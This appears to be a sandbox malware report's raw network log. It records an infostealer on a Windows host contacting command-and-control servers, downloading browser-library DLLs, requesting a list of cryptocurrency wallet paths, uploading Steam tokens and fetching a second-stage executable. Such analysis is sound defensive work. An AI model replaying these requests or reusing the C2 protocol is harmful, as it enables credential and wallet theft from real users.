Nov 12, 2024 17:07:48.174951077 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 12, 2024 17:07:48.174963951 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 12, 2024 17:07:48.174976110 CET	1236	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 12, 2024 17:07:48.175385952 CET	1236	IN	Data Raw: bd 41 fb 89 f3 81 c3 2b f8 94 fe 89 5d ec 89 d7 81 d7 72 f3 6e 3c 89 7d e0 33 9d d0 fe ff ff 33 bd d4 fe ff ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 8b 7b 2c 89 bd 00 ff ff ff 8b 5d f0 Data Ascii: A+]rn<}33Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}
Nov 12, 2024 17:07:51.301039934 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:51.580331087 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 17:07:53.062247038 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:53.348983049 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 17:07:54.267659903 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:54.547327042 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 17:07:56.609692097 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:56.889018059 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 17:07:57.175045967 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:57.459072113 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 17:07:58.177782059 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBK Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 17:07:58.953042984 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:59.022612095 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"wallets------IIDHJDGCGDAAKEBGDBKF--
Nov 12, 2024 17:07:59.304985046 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 17:07:59.310772896 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"files------JEGDGIIJJECFIDHJJKKF--
Nov 12, 2024 17:07:59.592067003 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:59.604422092 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Nov 12, 2024 17:08:00.376570940 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:08:00.378865957 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"ybncbhylepme------HIIIEGDBKJKEBGCBAFCF--
Nov 12, 2024 17:08:00.660876036 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:08:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50008	185.215.113.16	80	2100	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:08:00.670380116 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 17:08:01.573642015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:08:01 GMT Content-Type: application/octet-stream Content-Length: 3203072 Last-Modified: Tue, 12 Nov 2024 15:57:31 GMT Connection: keep-alive ETag: "67337aeb-30e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 11@Wk$00 @.rsrc@.idata @lguoomhs0&@cbsrczut00@.taggant00"0@
Nov 12, 2024 17:08:01.573668003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
